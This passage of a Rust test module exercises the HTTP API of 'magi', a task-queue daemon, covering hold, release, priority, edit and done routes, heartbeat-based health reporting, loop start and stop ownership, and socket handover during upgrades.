9612                resumed: false,
9613                resumed_later: None,
9614                prior: None,
9615                last: true,
9616            },
9617            &task,
9618        );
9619        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9620    }
9621
9622    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9623        let mut s = flow_run(RunStatus::Implementing, edit);
9624        s.parked = false;
9625        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9626        task_run_view(
9627            "20260902-140501-aaaa",
9628            Some(&s),
9629            RunSlot {
9630                n: 1,
9631                resumed: false,
9632                resumed_later: Some(2),
9633                prior: None,
9634                last: false,
9635            },
9636            &task,
9637        )
9638    }
9639
9640    #[test]
9641    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9642        let v = earlier_pass_view(|_| {});
9643        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9644        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9645        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9646        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9647        assert_eq!(v.exit, RunExit::Interrupted);
9648        assert_eq!(v.attempt, AttemptCost::Unknown);
9649    }
9650
9651    #[test]
9652    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9653        let v = earlier_pass_view(|s| {
9654            s.quota.push(crate::run::QuotaLoss {
9655                seat: "judge-1".to_owned(),
9656                node: "judge".to_owned(),
9657                at: Timestamp::now(),
9658                reset: None,
9659            });
9660        });
9661        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9662        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9663        assert_eq!(v.attempt, AttemptCost::Unknown);
9664    }
9665
9666    #[test]
9667    fn the_current_pass_states_its_recorded_cause_and_cost() {
9668        let slot = || RunSlot {
9669            n: 1,
9670            resumed: false,
9671            resumed_later: None,
9672            prior: None,
9673            last: true,
9674        };
9675        let task = flow_task(&["20260902-140501-aaaa"]);
9676        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9677        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9678        assert_eq!(
9679            (v.exit, v.attempt),
9680            (RunExit::Parked, AttemptCost::Refunded)
9681        );
9682        let spent = flow_run(RunStatus::Blocked, |_| {});
9683        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9684        assert_eq!(v.attempt, AttemptCost::Spent);
9685        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9686    }
9687
9688    #[tokio::test]
9689    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9690        let f = Fixture::start().await;
9691        let queue = f.queue();
9692        let mut task = Task::new(
9693            "spent".to_owned(),
9694            "Try again".to_owned(),
9695            PathBuf::from("/repo/magi"),
9696            Source::Human,
9697        );
9698        task.start("20260902-140502-bbbb".to_owned());
9699        task.fail("agent gave up", 9);
9700        queue.put(&mut task).expect("file the task");
9701
9702        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9703        assert_eq!(held.status, 200);
9704        assert_eq!(held.json()["status_str"], "held");
9705
9706        let released = f
9707            .post(&format!("/api/queue/{}/release", task.id), None)
9708            .await;
9709        assert_eq!(released.status, 200);
9710        assert_eq!(released.json()["status_str"], "queued");
9711        assert_eq!(
9712            released.json()["attempts"],
9713            0,
9714            "release is a real second chance, not an instant re-hold"
9715        );
9716        assert_eq!(
9717            queue.get(&task.id).expect("reload").status,
9718            TaskStatus::Queued,
9719            "the change is on disk, not only in the reply"
9720        );
9721        assert!(
9722            !f.home
9723                .path()
9724                .join("queue")
9725                .join(format!("{}.lock", task.id))
9726                .exists(),
9727            "the claim the mutation took is released again"
9728        );
9729    }
9730
9731    #[tokio::test]
9732    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9733        let f = Fixture::start().await;
9734        let queue = f.queue();
9735        let mut task = Task::new(
9736            "busy".to_owned(),
9737            "Running right now".to_owned(),
9738            PathBuf::from("/repo/magi"),
9739            Source::Human,
9740        );
9741        queue.put(&mut task).expect("file the task");
9742        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9743
9744        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9745
9746        assert_eq!(res.status, 409);
9747        assert_eq!(
9748            queue.get(&task.id).expect("reload").status,
9749            TaskStatus::Queued,
9750            "the refused hold changed nothing"
9751        );
9752    }
9753
9754    #[tokio::test]
9755    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9756        let f = Fixture::start().await;
9757        let queue = f.queue();
9758        let mut task = Task::new(
9759            "waiting on the migration".to_owned(),
9760            "Do the thing".to_owned(),
9761            PathBuf::from("/repo/magi"),
9762            Source::Human,
9763        );
9764        queue.put(&mut task).expect("file the task");
9765
9766        let held = f
9767            .post(
9768                &format!("/api/queue/{}/hold", task.id),
9769                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9770            )
9771            .await;
9772        assert_eq!(held.status, 200, "{}", held.body);
9773        assert_eq!(held.json()["status_str"], "held");
9774        assert_eq!(
9775            held.json()["hold_reason"],
9776            "waiting for 20260101-000000-aaaa to land"
9777        );
9778
9779        let listed = f.get("/api/queue").await.json();
9780        assert_eq!(
9781            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9782            "the card reads the reason off the same list route"
9783        );
9784
9785        // A hold with no body at all must keep working - most holds have no
9786        // reason to give.
9787        let mut plain = Task::new(
9788            "no reason given".to_owned(),
9789            "Do another thing".to_owned(),
9790            PathBuf::from("/repo/magi"),
9791            Source::Human,
9792        );
9793        queue.put(&mut plain).expect("file the task");
9794        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9795        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9796        assert!(held_plain.json()["hold_reason"].is_null());
9797
9798        let released = f
9799            .post(&format!("/api/queue/{}/release", task.id), None)
9800            .await;
9801        assert_eq!(released.status, 200);
9802        assert!(
9803            released.json()["hold_reason"].is_null(),
9804            "a release must clear the reason so the next hold does not inherit it"
9805        );
9806    }
9807
9808    #[tokio::test]
9809    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9810        let f = Fixture::start().await;
9811        let queue = f.queue();
9812        let mut older = Task::new(
9813            "filed first".to_owned(),
9814            "x".to_owned(),
9815            PathBuf::from("/repo/magi"),
9816            Source::Human,
9817        );
9818        older.id = "20260101-000001-aaaa".to_owned();
9819        let mut newer = Task::new(
9820            "filed second".to_owned(),
9821            "x".to_owned(),
9822            PathBuf::from("/repo/magi"),
9823            Source::Human,
9824        );
9825        newer.id = "20260101-000002-bbbb".to_owned();
9826        queue.put(&mut older).expect("file older");
9827        queue.put(&mut newer).expect("file newer");
9828
9829        // Equal priority: the newer task leads, the same order the old
9830        // newest-first `list()` already gave every equal-priority queue.
9831        let before = f.get("/api/queue").await.json();
9832        assert_eq!(before[0]["id"], newer.id);
9833        assert_eq!(before[1]["id"], older.id);
9834
9835        // Raising the *older* task is the meaningful case: it can only lead
9836        // now because its priority says so, not because it happens to be
9837        // newest.
9838        let raised = f
9839            .post(
9840                &format!("/api/queue/{}/priority", older.id),
9841                Some(r#"{"priority":10}"#),
9842            )
9843            .await;
9844        assert_eq!(raised.status, 200, "{}", raised.body);
9845        assert_eq!(raised.json()["priority"], 10);
9846
9847        let after = f.get("/api/queue").await.json();
9848        let names: Vec<&str> = after
9849            .as_array()
9850            .unwrap()
9851            .iter()
9852            .map(|t| t["id"].as_str().unwrap())
9853            .collect();
9854        // Highest priority first, which is the order next_runnable and
9855        // `magi task list` both use - GET /api/queue must agree with it
9856        // immediately, not just once the loop claims the task.
9857        assert_eq!(names[0], older.id, "the raised task now sorts first");
9858    }
9859
9860    #[tokio::test]
9861    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9862        let f = Fixture::start().await;
9863        let queue = f.queue();
9864        let mut task = Task::new(
9865            "in flight".to_owned(),
9866            "x".to_owned(),
9867            PathBuf::from("/repo/magi"),
9868            Source::Human,
9869        );
9870        task.start("20260902-140502-bbbb".to_owned());
9871        queue.put(&mut task).expect("file the task");
9872
9873        let res = f
9874            .post(
9875                &format!("/api/queue/{}/priority", task.id),
9876                Some(r#"{"priority":9}"#),
9877            )
9878            .await;
9879        assert_eq!(res.status, 400, "{}", res.body);
9880        assert!(
9881            res.json()["error"]
9882                .as_str()
9883                .is_some_and(|e| e.contains("running")),
9884            "{}",
9885            res.body
9886        );
9887        assert_eq!(
9888            queue.get(&task.id).expect("reload").priority,
9889            0,
9890            "the refused write must not partially apply"
9891        );
9892    }
9893
9894    #[tokio::test]
9895    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9896        let f = Fixture::start().await;
9897        let queue = f.queue();
9898        let mut task = Task::new(
9899            "old title".to_owned(),
9900            "old instruction".to_owned(),
9901            PathBuf::from("/repo/magi"),
9902            Source::Agent {
9903                run: "20260101-000000-beef".to_owned(),
9904                node: "implement".to_owned(),
9905            },
9906        );
9907        task.runs.push("20260101-000000-beef".to_owned());
9908        queue.put(&mut task).expect("file the task");
9909        let created_at = task.created_at;
9910
9911        let edited = f
9912            .post(
9913                &format!("/api/queue/{}/edit", task.id),
9914                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9915            )
9916            .await;
9917        assert_eq!(edited.status, 200, "{}", edited.body);
9918        let body = edited.json();
9919        assert_eq!(body["title"], "new title");
9920        assert_eq!(body["instruction"], "new instruction");
9921        assert_eq!(body["id"], task.id, "editing must not mint a new id");
9922        assert_eq!(body["created_at"], created_at.to_string());
9923        assert_eq!(
9924            body["source"]["kind"], "agent",
9925            "editing a task an agent filed must not turn it human: {body}"
9926        );
9927        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9928
9929        let reloaded = queue.get(&task.id).expect("reload");
9930        assert_eq!(reloaded.title, "new title");
9931        assert_eq!(reloaded.instruction, "new instruction");
9932    }
9933
9934    #[tokio::test]
9935    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9936        // The judge is an agent now: a repo whose only agent answers
9937        // "duplicate" stands in for it, so the refusal is the judge's.
9938        let tmp = TempDir::new().expect("tempdir");
9939        let repo = tmp.path().join("repo");
9940        std::fs::create_dir_all(&repo).expect("repo dir");
9941        let judge = MOCK_AGENT_TOML.replace(
9942            "printf ok",
9943            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
9944        );
9945        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
9946        let f = Fixture::with_repo(repo.clone()).await;
9947        let queue = f.queue();
9948        let mut owner = Task::new(
9949            "owner".to_owned(),
9950            "review it".to_owned(),
9951            repo.clone(),
9952            Source::Human,
9953        );
9954        owner.review_branch = Some("magi/ab12/A".to_owned());
9955        queue.put(&mut owner).expect("file the owner");
9956        let mut task = Task::new(
9957            "draft".to_owned(),
9958            "old".to_owned(),
9959            repo.clone(),
9960            Source::Human,
9961        );
9962        queue.put(&mut task).expect("file the draft");
9963        let url = format!("/api/queue/{}/edit", task.id);
9964
9965        let refused = f
9966            .post(
9967                &url,
9968                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9969            )
9970            .await;
9971        assert_eq!(refused.status, 409, "{}", refused.body);
9972        let msg = refused.json()["error"]
9973            .as_str()
9974            .unwrap_or_default()
9975            .to_owned();
9976        assert!(
9977            msg.contains("magi/ab12/A") && msg.contains("force"),
9978            "{msg}"
9979        );
9980        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9981
9982        let forced = f
9983            .post(
9984                &url,
9985                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9986            )
9987            .await;
9988        assert_eq!(forced.status, 200, "{}", forced.body);
9989    }
9990
9991    #[tokio::test]
9992    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9993        let f = Fixture::start().await;
9994        let queue = f.queue();
9995        let mut task = Task::new(
9996            "in flight".to_owned(),
9997            "do not touch".to_owned(),
9998            PathBuf::from("/repo/magi"),
9999            Source::Human,
10000        );
10001        task.start("20260902-140502-bbbb".to_owned());
10002        queue.put(&mut task).expect("file the task");
10003
10004        let res = f
10005            .post(
10006                &format!("/api/queue/{}/edit", task.id),
10007                Some(r#"{"title":"x","instruction":"y"}"#),
10008            )
10009            .await;
10010        assert_eq!(res.status, 400, "{}", res.body);
10011        assert!(
10012            res.json()["error"]
10013                .as_str()
10014                .is_some_and(|e| e.contains("running")),
10015            "{}",
10016            res.body
10017        );
10018        assert_eq!(
10019            queue.get(&task.id).expect("reload").instruction,
10020            "do not touch",
10021            "the refused edit must not change the file"
10022        );
10023    }
10024
10025    #[tokio::test]
10026    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10027        let f = Fixture::start().await;
10028        let queue = f.queue();
10029        let mut task = Task::new(
10030            "busy".to_owned(),
10031            "Running right now".to_owned(),
10032            PathBuf::from("/repo/magi"),
10033            Source::Human,
10034        );
10035        queue.put(&mut task).expect("file the task");
10036        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10037
10038        let priority = f
10039            .post(
10040                &format!("/api/queue/{}/priority", task.id),
10041                Some(r#"{"priority":9}"#),
10042            )
10043            .await;
10044        assert_eq!(priority.status, 409, "{}", priority.body);
10045
10046        let edit = f
10047            .post(
10048                &format!("/api/queue/{}/edit", task.id),
10049                Some(r#"{"title":"x","instruction":"y"}"#),
10050            )
10051            .await;
10052        assert_eq!(edit.status, 409, "{}", edit.body);
10053    }
10054
10055    #[tokio::test]
10056    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10057        let f = Fixture::start().await;
10058        let queue = f.queue();
10059        let mut task = Task::new(
10060            "shipped by hand".to_owned(),
10061            "merged outside the loop".to_owned(),
10062            PathBuf::from("/repo/magi"),
10063            Source::Agent {
10064                run: "20260101-000000-b455".to_owned(),
10065                node: "implement".to_owned(),
10066            },
10067        );
10068        task.runs.push("20260101-000000-b455".to_owned());
10069        task.runs.push("20260101-000000-9af4".to_owned());
10070        queue.put(&mut task).expect("file the task");
10071        let created_at = task.created_at;
10072
10073        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10074        assert_eq!(done.status, 200, "{}", done.body);
10075        assert_eq!(done.json()["status_str"], "done");
10076
10077        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10078        assert_eq!(
10079            reloaded.runs,
10080            ["20260101-000000-b455", "20260101-000000-9af4"]
10081        );
10082        assert_eq!(
10083            reloaded.source,
10084            Source::Agent {
10085                run: "20260101-000000-b455".to_owned(),
10086                node: "implement".to_owned(),
10087            }
10088        );
10089        assert_eq!(reloaded.created_at, created_at);
10090    }
10091
10092    #[tokio::test]
10093    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10094        // `done` is allowed on any status, including `held`, with no release
10095        // in between - so a task held for a reason and then closed directly
10096        // must not keep reading as "waiting on" it afterwards, on its card or
10097        // in `magi task show`.
10098        let f = Fixture::start().await;
10099        let queue = f.queue();
10100        let mut task = Task::new(
10101            "landed while held".to_owned(),
10102            "x".to_owned(),
10103            PathBuf::from("/repo/magi"),
10104            Source::Human,
10105        );
10106        task.hold_manual(Some("waiting on 3ed9".to_owned()));
10107        queue.put(&mut task).expect("file the held task");
10108
10109        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10110        assert_eq!(done.status, 200, "{}", done.body);
10111        assert_eq!(done.json()["status_str"], "done");
10112        assert!(
10113            done.json()["hold_reason"].is_null(),
10114            "a done task cannot still be waiting on something: {}",
10115            done.body
10116        );
10117    }
10118
10119    #[tokio::test]
10120    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10121        // `queue_done` is the phone's way to close a task the loop never
10122        // settled itself - after confirming a manual GitHub merge, say - and
10123        // that is just as much "this task's story is over" as the loop's own
10124        // `Merged`/`Ready` path, so it must trigger the same cleanup.
10125        let f = Fixture::start().await;
10126        let queue = f.queue();
10127        let runs = f.runs();
10128        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10129        // The last attempt has to have actually landed for the earlier one
10130        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
10131        // for the case where it didn't.
10132        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10133
10134        let mut task = Task::new(
10135            "landed by hand".to_owned(),
10136            "x".to_owned(),
10137            PathBuf::from("/repo/magi"),
10138            Source::Human,
10139        );
10140        task.runs.push("20260101-000000-doa1".to_owned());
10141        task.runs.push("20260101-000000-doa2".to_owned());
10142        queue.put(&mut task).expect("file the task");
10143
10144        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10145        assert_eq!(done.status, 200, "{}", done.body);
10146
10147        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10148            .expect("run still on disk under this fixture's own home");
10149        assert_eq!(
10150            reloaded_run.status,
10151            RunStatus::Superseded,
10152            "closing the task by hand must relabel the earlier blocked attempt exactly \
10153             like the loop's own settle path does"
10154        );
10155    }
10156
10157    #[tokio::test]
10158    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10159        // Closing a task by hand is allowed from any status, including one
10160        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
10161        // manual merge the loop never watched, say. Nothing here is provably
10162        // why the task is done, so nothing earlier gets relabelled either.
10163        let f = Fixture::start().await;
10164        let queue = f.queue();
10165        let runs = f.runs();
10166        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10167        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10168
10169        let mut task = Task::new(
10170            "closed with nothing actually landed".to_owned(),
10171            "x".to_owned(),
10172            PathBuf::from("/repo/magi"),
10173            Source::Human,
10174        );
10175        task.runs.push("20260101-000000-dob1".to_owned());
10176        task.runs.push("20260101-000000-dob2".to_owned());
10177        queue.put(&mut task).expect("file the task");
10178
10179        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10180        assert_eq!(done.status, 200, "{}", done.body);
10181
10182        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10183            .expect("run still on disk under this fixture's own home");
10184        assert_eq!(
10185            reloaded_run.status,
10186            RunStatus::Blocked,
10187            "the last recorded attempt never landed, so the earlier one must not be \
10188             relabelled as superseded by it"
10189        );
10190    }
10191
10192    #[tokio::test]
10193    async fn unknown_ids_are_json_not_found_on_both_stores() {
10194        let f = Fixture::start().await;
10195
10196        let run = f.get("/api/runs/nosuchrun").await;
10197        let task = f.post("/api/queue/nosuchtask/hold", None).await;
10198
10199        assert_eq!(run.status, 404);
10200        assert_eq!(task.status, 404);
10201        assert!(
10202            run.json()["error"]
10203                .as_str()
10204                .is_some_and(|e| e.contains("run")),
10205            "the error names what was not found: {}",
10206            run.body
10207        );
10208        assert!(
10209            task.json()["error"]
10210                .as_str()
10211                .is_some_and(|e| e.contains("task")),
10212            "the error names what was not found: {}",
10213            task.body
10214        );
10215    }
10216
10217    #[tokio::test]
10218    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10219        let f = Fixture::start().await;
10220
10221        let missing = f.get("/api/health").await.json();
10222        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10223
10224        write_daemon(
10225            f.home.path(),
10226            Timestamp::now() - jiff::SignedDuration::from_secs(60),
10227        );
10228        let stale = f.get("/api/health").await.json();
10229        assert_eq!(
10230            stale["daemon"]["running"], false,
10231            "a minute without a heartbeat is a dead daemon, not a busy one"
10232        );
10233        assert!(
10234            stale["daemon"]["stale_for_secs"]
10235                .as_i64()
10236                .is_some_and(|s| s >= 55),
10237            "staleness is reported so the UI can say how long: {stale}"
10238        );
10239
10240        write_daemon(f.home.path(), Timestamp::now());
10241        let fresh = f.get("/api/health").await.json();
10242        assert_eq!(fresh["daemon"]["running"], true);
10243        assert_eq!(fresh["daemon"]["idle"], false);
10244        assert_eq!(fresh["daemon"]["pid"], 4242);
10245        assert_eq!(fresh["daemon"]["completed"], 7);
10246        assert_eq!(
10247            fresh["daemon"]["current"][0]["task"],
10248            "20260902-140501-aaaa"
10249        );
10250        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10251    }
10252
10253    #[tokio::test]
10254    async fn the_loop_is_not_running_until_something_starts_it() {
10255        let f = Fixture::start().await;
10256
10257        let view = f.get("/api/loop").await.json();
10258        assert_eq!(view["running"], false);
10259        assert_eq!(
10260            view["owned"], false,
10261            "nobody owns a loop that does not exist: {view}"
10262        );
10263        assert_eq!(view["stopping"], false);
10264        assert_eq!(view["last_error"], Value::Null);
10265        assert_eq!(view["daemon"]["running"], false);
10266        assert_eq!(
10267            view["repo"], "/repo/magi",
10268            "the repository a start would use, named before it is started"
10269        );
10270    }
10271
10272    #[tokio::test]
10273    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10274        let f = Fixture::start().await;
10275
10276        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10277        assert_eq!(res.status, 200, "{}", res.body);
10278        let view = res.json();
10279        assert_eq!(view["running"], true);
10280        assert_eq!(
10281            view["owned"], true,
10282            "the loop the UI started is the UI's own to stop: {view}"
10283        );
10284        assert_eq!(
10285            view["merge"],
10286            Value::Null,
10287            "no override was given, so each repository's own config decides"
10288        );
10289
10290        // The same object from the route a waking phone polls first. Two
10291        // surfaces disagreeing about whether anything is running is exactly
10292        // the confusion this UI exists to remove.
10293        let health = f.get("/api/health").await.json();
10294        assert_eq!(health["loop"]["running"], true, "{health}");
10295        assert_eq!(health["loop"]["owned"], true, "{health}");
10296
10297        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10298    }
10299
10300    #[tokio::test]
10301    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10302        let f = Fixture::start().await;
10303        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10304        assert_eq!(first.status, 200, "{}", first.body);
10305
10306        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10307        assert_eq!(
10308            again.status, 409,
10309            "two loops on one queue race for the same claims: {}",
10310            again.body
10311        );
10312        assert!(
10313            again.json()["error"]
10314                .as_str()
10315                .is_some_and(|e| e.contains("already running the loop")),
10316            "the refusal has to say why: {}",
10317            again.body
10318        );
10319        assert_eq!(
10320            f.get("/api/loop").await.json()["running"],
10321            true,
10322            "and the loop that was already running is untouched by it"
10323        );
10324
10325        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10326    }
10327
10328    #[tokio::test]
10329    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10330        let f = Fixture::start().await;
10331        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10332
10333        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10334        assert_eq!(
10335            res.status, 200,
10336            "the answer must not wait for the loop: a run in flight is tens of \
10337             minutes and the operator is holding a phone: {}",
10338            res.body
10339        );
10340
10341        let view = settled(&f, |v| v["running"] == false).await;
10342        assert_eq!(view["owned"], false);
10343        assert_eq!(
10344            view["stopping"], false,
10345            "a loop that has stopped is not still stopping: {view}"
10346        );
10347        assert_eq!(
10348            view["last_error"],
10349            Value::Null,
10350            "a loop that was asked to stop did not fail: {view}"
10351        );
10352
10353        // Idempotent, because the operator cannot tell a slow stop from a lost
10354        // one and will press it again.
10355        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10356        assert_eq!(twice.status, 200, "{}", twice.body);
10357    }
10358
10359    #[tokio::test]
10360    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10361        let f = Fixture::start().await;
10362        // How the operator has been doing it: a `magi serve` of their own,
10363        // heartbeat fresh, in the same home this UI reads.
10364        write_daemon(f.home.path(), Timestamp::now());
10365
10366        let view = f.get("/api/loop").await.json();
10367        assert_eq!(view["running"], false, "not in this process: {view}");
10368        assert_eq!(view["owned"], false, "and not this process's to control");
10369        assert_eq!(
10370            view["daemon"]["running"], true,
10371            "but a loop is alive somewhere, which is what the UI must say"
10372        );
10373        assert_eq!(view["daemon"]["pid"], 4242);
10374
10375        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10376            let res = f.post("/api/loop", Some(body)).await;
10377            assert_eq!(
10378                res.status, 409,
10379                "neither button may pretend to work on someone else's loop: {}",
10380                res.body
10381            );
10382            assert!(
10383                res.json()["error"]
10384                    .as_str()
10385                    .is_some_and(|e| e.contains("4242")),
10386                "the refusal has to name the process the operator must go to: {}",
10387                res.body
10388            );
10389        }
10390        assert_eq!(
10391            f.get("/api/loop").await.json()["running"],
10392            false,
10393            "and the refusal started nothing"
10394        );
10395    }
10396
10397    #[tokio::test]
10398    async fn a_stale_status_file_is_not_a_foreign_owner() {
10399        let f = Fixture::start().await;
10400        write_daemon(
10401            f.home.path(),
10402            Timestamp::now() - jiff::SignedDuration::from_secs(60),
10403        );
10404
10405        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10406        assert_eq!(
10407            res.status, 200,
10408            "a daemon killed a minute ago must not lock the loop out of its \
10409             own home for good: {}",
10410            res.body
10411        );
10412        assert_eq!(res.json()["running"], true);
10413
10414        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10415    }
10416
10417    #[tokio::test]
10418    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10419        let f = Fixture::start().await;
10420        let before = f.get("/api/health").await.json()["loop_rev"]
10421            .as_u64()
10422            .expect("a loop revision");
10423
10424        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10425
10426        let after = f.get("/api/health").await.json()["loop_rev"]
10427            .as_u64()
10428            .expect("a loop revision");
10429        assert!(
10430            after > before,
10431            "the loop is in-process state, so this counter is the only thing \
10432             that tells a second device the first one started it: {before} -> \
10433             {after}"
10434        );
10435
10436        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10437    }
10438
10439    #[tokio::test]
10440    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10441        let f = Fixture::with_loop(launch_broken).await;
10442
10443        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10444        assert_eq!(
10445            res.status, 200,
10446            "starting it is not the failure: {}",
10447            res.body
10448        );
10449
10450        let view = settled(&f, |v| v["last_error"].is_string()).await;
10451        assert_eq!(
10452            view["running"], false,
10453            "a loop that died must not read as running, or the operator has \
10454             nothing to press: {view}"
10455        );
10456        assert_eq!(view["owned"], false);
10457        assert!(
10458            view["last_error"]
10459                .as_str()
10460                .is_some_and(|e| e.contains("read-only file system")),
10461            "the phone is where a loop that died at 3am is visible: {view}"
10462        );
10463
10464        // And it can be started again: the corpse was reaped, not left to
10465        // occupy the slot.
10466        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10467        assert_eq!(again.status, 200, "{}", again.body);
10468        assert_eq!(
10469            again.json()["last_error"],
10470            Value::Null,
10471            "a fresh start does not keep showing why the last one died"
10472        );
10473    }
10474
10475    /// An upgrade parks the run in flight before it restarts, and a park waits
10476    /// for the node - up to `timeout_implement`, an hour by default. The deck
10477    /// has to answer for all of it: the operator has just been told a run is
10478    /// finishing first, and this address is the only place that says how it is
10479    /// going. It did not, once - the listener went with the `select!` arm that
10480    /// began the handover, and the phone got `Cannot reach magi: Failed to
10481    /// fetch` for the rest of the wave.
10482    ///
10483    /// The other half is the older rule: the address must be free *before* the
10484    /// successor is started, or it dies on "address already in use" with its
10485    /// stdio sent to null and the deck never comes back.
10486    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10487    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10488        let home = TempDir::new().expect("temp home");
10489        let runs = home.path().join("runs");
10490        std::fs::create_dir_all(&runs).expect("runs dir");
10491        let ui = Ui::new(
10492            Queue::at(home.path().join("queue")),
10493            Questions::at(home.path().join("questions")),
10494            Talks::at(home.path().join("talks")),
10495            runs,
10496            home.path().to_path_buf(),
10497            PathBuf::from("/repo/magi"),
10498        )
10499        .with_worktrees_root(home.path().join("wt"))
10500        .with_launch(launch_knocking_on_the_way_out);
10501        let looping = ui.looping();
10502        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10503            .await
10504            .expect("bind loopback");
10505        let addr = listener.local_addr().expect("local addr");
10506        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10507        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10508
10509        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10510        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10511
10512        // The successor's whole job, and the one thing it cannot do while this
10513        // process still holds the socket.
10514        //
10515        // One bind is not enough, and the reason is not this process's order of
10516        // operations: aborting the accept loop drops the listener, but axum
10517        // serves each accepted connection on a task of its own, and those are
10518        // not aborted. The requests above left sockets on this very address,
10519        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
10520        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
10521        // Production absorbs that in `bind_waiting`; so does this. Only
10522        // `AddrInUse` is retried, and the listener is released before the
10523        // closure returns - were the order wrong, the listener would outlive
10524        // the closure and every attempt would fail. Inferred from the bind
10525        // rules and the code; not reproduced on macOS.
10526        let bound = std::sync::Mutex::new(None);
10527        hand_over(home.path(), &looping, served, |_| {
10528            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10529            let attempt = loop {
10530                match std::net::TcpListener::bind(addr) {
10531                    Ok(l) => {
10532                        drop(l);
10533                        break Ok(());
10534                    }
10535                    Err(e)
10536                        if e.kind() == std::io::ErrorKind::AddrInUse
10537                            && std::time::Instant::now() < deadline =>
10538                    {
10539                        std::thread::sleep(std::time::Duration::from_millis(10));
10540                    }
